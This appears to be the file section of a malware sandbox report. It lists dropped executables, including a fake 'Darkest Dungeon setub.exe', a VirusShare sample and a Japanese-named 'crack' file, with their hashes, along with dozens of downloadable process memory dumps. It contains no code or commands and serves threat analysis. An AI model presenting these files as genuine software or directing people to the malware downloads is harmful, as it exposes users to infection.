Download Submit
\Program Files (x86)\Darkest Dungeon setub.exe

Filesize
284KB

MD5
382c21837fbb296675b92c64bbc6249d

SHA1
ddedd90110497139ee0b5fca0e8ea3b585271f6d

SHA256
6ba1d9cf4b63033c0d9752fbe663eee726a5cf5401b20b8b8e927cca39cf113d

SHA512
3a7cc906a9bc94526b0f0fbaff43fa6230e14d0226439d1558b1e09d258911beb79fbfdb56c9286373856dca958dd5decb10c42e7248763dde1e1e85a3aae727

Download Submit
\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe

Filesize
874KB

MD5
a6a1abaf12a28ea8f6553356c3bdcf57

SHA1
b7613fb9944bc3d8e11b5eb6f7ff706f04e8ad53

SHA256
f2507211585dfe351ff53086f30b42572db223b2646e45f91b7f3e202bb0bb76

SHA512
e525d119128c1ca1c05d379b9ebba9791b7b15390c8999773bff6517fde674178e17ee2c7c126b249c8c54b4dd1c07326ba24d52c8c192f067bc7e8545113a65

Download Submit
\Users\Admin\AppData\Local\Temp\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe

Filesize
577KB

MD5
0bd61f046f4d99491fa3588dba294e04

SHA1
e11aa40742e7842130922a483e12377b162e6e74

SHA256
ef9e871b1df21e26aaee91de42a9939766db3db6543f6b7e151e8b6e37124723

SHA512
c074f42f29abb6987520f6c661ccff1e6bbf3389a23c4416fa4489cf144947ceb3e0962a5c510d99edd42ee070cb9bf262350afa56fbd2bee5deae591c255c5b

Download Submit
\Users\Admin\AppData\Local\Temp\クラック.exe

Filesize
17.8MB

MD5
61bcb94052e57f07e8c662a80d8c29c1

SHA1
db9d2e9e37eddedc1722727e8ce5a0a242a9ff10

SHA256
3b0cfdd500288507ec287e0e2f33d7acb7a2bcad1537fcfb29a47a4fa7cc23a6

SHA512
7f9f9c2c6cd5dd49baf6791808e5a31c9e4726d27f87aaad8e2df75ab2a0dbf20956d0bab8761a9e742d1fa85052f9f7f0ae8e6cf269a0761053786e547935a1

Download Submit
memory/300-1801-0x000007FEF7170000-0x000007FEF7192000-memory.dmp

Filesize
136KB

Download
memory/492-1651-0x0000000000050000-0x0000000000051000-memory.dmp

Filesize
4KB

Download
memory/636-1769-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download
memory/636-2317-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download
memory/636-852-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download
memory/636-10-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download
memory/636-11-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download
memory/636-12-0x0000000000401000-0x00000000004C5000-memory.dmp

Filesize
784KB

Download
memory/636-320-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download
memory/636-37-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download
memory/636-1582-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download
memory/636-1713-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download
memory/636-307-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download
memory/636-1860-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download
memory/636-141-0x0000000003E90000-0x0000000003EA0000-memory.dmp

Filesize
64KB

Download
memory/944-2743-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1236-259-0x00000000011E0000-0x00000000012B6000-memory.dmp

Filesize
856KB

Download
memory/1480-1786-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/1480-1727-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/1480-543-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/1480-1389-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/1480-1975-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/1480-1621-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/1516-1413-0x0000000000520000-0x0000000000538000-memory.dmp

Filesize
96KB

Download
memory/1516-420-0x0000000001270000-0x000000000130A000-memory.dmp

Filesize
616KB

Download
memory/1516-2314-0x0000000004B50000-0x0000000004BC4000-memory.dmp

Filesize
464KB

Download
memory/1516-2315-0x0000000000C70000-0x0000000000CA2000-memory.dmp

Filesize
200KB

Download
memory/1552-236-0x00000000002E0000-0x0000000000312000-memory.dmp

Filesize
200KB

Download
memory/1576-343-0x0000000000AA0000-0x0000000000AC0000-memory.dmp

Filesize
128KB

Download
memory/1700-302-0x0000000000FA0000-0x0000000000FB4000-memory.dmp

Filesize
80KB

Download
memory/1700-358-0x0000000000FA0000-0x0000000000FA2000-memory.dmp

Filesize
8KB

Download
memory/1700-282-0x0000000005920000-0x00000000059AA000-memory.dmp

Filesize
552KB

Download
memory/1700-308-0x0000000000FA0000-0x0000000000FB4000-memory.dmp

Filesize
80KB

Download
memory/1700-353-0x0000000000FA0000-0x0000000000FA2000-memory.dmp

Filesize
8KB

Download
memory/1728-2312-0x000007FEF7170000-0x000007FEF7192000-memory.dmp

Filesize
136KB

Download
memory/1740-1420-0x0000000000400000-0x0000000000471000-memory.dmp

Filesize
452KB

Download
memory/1740-1412-0x0000000000270000-0x0000000000272000-memory.dmp

Filesize
8KB

Download
memory/1740-1388-0x0000000000400000-0x0000000000471000-memory.dmp

Filesize
452KB

Download
memory/1784-1619-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/1784-1620-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/1792-407-0x0000000001230000-0x0000000001444000-memory.dmp

Filesize
2.1MB

Download
memory/1848-421-0x000000013F5F0000-0x000000013F5FE000-memory.dmp

Filesize
56KB

Download
memory/2252-2800-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/2252-321-0x0000000000020000-0x0000000000034000-memory.dmp

Filesize
80KB

Download
memory/2324-467-0x0000000000540000-0x0000000000550000-memory.dmp

Filesize
64KB

Download
memory/2324-489-0x0000000000AC0000-0x0000000000AD0000-memory.dmp

Filesize
64KB

Download
memory/2324-458-0x0000000000510000-0x000000000051E000-memory.dmp

Filesize
56KB

Download
memory/2324-491-0x0000000000AD0000-0x0000000000AE0000-memory.dmp

Filesize
64KB

Download
memory/2324-506-0x0000000000F70000-0x0000000000F88000-memory.dmp

Filesize
96KB

Download
memory/2324-485-0x0000000000A90000-0x0000000000A9E000-memory.dmp

Filesize
56KB

Download
memory/2324-478-0x0000000000C90000-0x0000000000CA2000-memory.dmp

Filesize
72KB

Download
memory/2324-476-0x0000000000C70000-0x0000000000C86000-memory.dmp

Filesize
88KB

Download
memory/2324-474-0x0000000000A80000-0x0000000000A90000-memory.dmp

Filesize
64KB

Download
memory/2324-472-0x0000000000AA0000-0x0000000000AB2000-memory.dmp

Filesize
72KB

Download
memory/2324-470-0x00000000007B0000-0x00000000007BE000-memory.dmp

Filesize
56KB

Download
memory/2324-503-0x0000000000E20000-0x0000000000E30000-memory.dmp

Filesize
64KB

Download
memory/2324-501-0x0000000000E10000-0x0000000000E1E000-memory.dmp

Filesize
56KB

Download
memory/2324-461-0x0000000000520000-0x0000000000530000-memory.dmp

Filesize
64KB

Download
memory/2324-257-0x0000000001090000-0x00000000013C2000-memory.dmp

Filesize
3.2MB

Download
memory/2324-493-0x000000001AB50000-0x000000001ABAA000-memory.dmp

Filesize
360KB

Download
memory/2324-464-0x0000000000530000-0x0000000000540000-memory.dmp

Filesize
64KB

Download
memory/2324-433-0x0000000000760000-0x0000000000786000-memory.dmp

Filesize
152KB

Download
memory/2632-429-0x0000000000400000-0x000000000046A000-memory.dmp

Filesize
424KB

Download
memory/2704-258-0x0000000000D00000-0x0000000000DD6000-memory.dmp

Filesize
856KB

Download
memory/2800-2320-0x000007FEF7170000-0x000007FEF7192000-memory.dmp

Filesize
136KB

Download
memory/2824-2325-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/2956-318-0x0000000000360000-0x000000000038A000-memory.dmp

Filesize
168KB

Download
memory/2956-317-0x0000000000360000-0x000000000038A000-memory.dmp

Filesize
168KB

Download
memory/3024-0-0x0000000074DE1000-0x0000000074DE2000-memory.dmp

Filesize
4KB

Download
memory/3024-2-0x0000000074DE0000-0x000000007538B000-memory.dmp

Filesize
5.7MB

Download
memory/3024-150-0x0000000074DE0000-0x000000007538B000-memory.dmp

Filesize
5.7MB

Download
memory/3024-1-0x0000000074DE0000-0x000000007538B000-memory.dmp

Filesize
5.7MB

Download
memory/3024-8-0x00000000057B0000-0x00000000058D3000-memory.dmp

Filesize
1.1MB

Download
memory/3044-447-0x00000000005D0000-0x00000000005DE000-memory.dmp

Filesize
56KB

Download
memory/3044-451-0x0000000000690000-0x000000000069E000-memory.dmp

Filesize
56KB

Download
memory/3044-314-0x00000000001C0000-0x00000000001C6000-memory.dmp

Filesize
24KB

Download
memory/3044-309-0x0000000000FF0000-0x00000000010CC000-memory.dmp

Filesize
880KB

Download
memory/3044-349-0x00000000001D0000-0x00000000001D6000-memory.dmp

Filesize
24KB

Download
memory/3044-344-0x000000001B410000-0x000000001B594000-memory.dmp

Filesize
1.5MB

Download
memory/3044-424-0x00000000001F0000-0x00000000001FE000-memory.dmp

Filesize
56KB

Download
memory/3044-431-0x00000000005E0000-0x00000000005FC000-memory.dmp

Filesize
112KB

Download
memory/3044-449-0x0000000000600000-0x000000000060C000-memory.dmp

Filesize
48KB

Download
memory/3044-445-0x00000000005C0000-0x00000000005CE000-memory.dmp

Filesize
56KB

Download
memory/3044-443-0x0000000000B40000-0x0000000000B58000-memory.dmp

Filesize
96KB

Download
memory/3044-453-0x0000000000B60000-0x0000000000B6C000-memory.dmp

Filesize
48KB

Download
memory/3240-1771-0x000007FEF7170000-0x000007FEF7192000-memory.dmp

Filesize
136KB

Download
memory/3276-1428-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3276-1425-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3276-1421-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3276-1440-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3276-1423-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3276-1431-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3276-1438-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/3276-1434-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3276-1437-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3336-2544-0x000000013F2C0000-0x000000013F2CE000-memory.dmp

Filesize
56KB

Download
memory/3348-1544-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/3452-2296-0x000007FEF7170000-0x000007FEF7192000-memory.dmp

Filesize
136KB

Download
memory/3560-1770-0x000007FEF7170000-0x000007FEF7192000-memory.dmp

Filesize
136KB

Download
memory/3560-2311-0x000007FEF7170000-0x000007FEF7192000-memory.dmp

Filesize
136KB

Download
memory/3648-2274-0x000007FEF7170000-0x000007FEF7192000-memory.dmp

Filesize
136KB

Download
memory/3940-1339-0x0000000001270000-0x0000000001346000-memory.dmp

Filesize
856KB

Download
memory/4088-2319-0x000007FEF7170000-0x000007FEF7192000-memory.dmp

Filesize
136KB

Download
memory/4088-1772-0x000007FEF7170000-0x000007FEF7192000-memory.dmp

Filesize
136KB

Download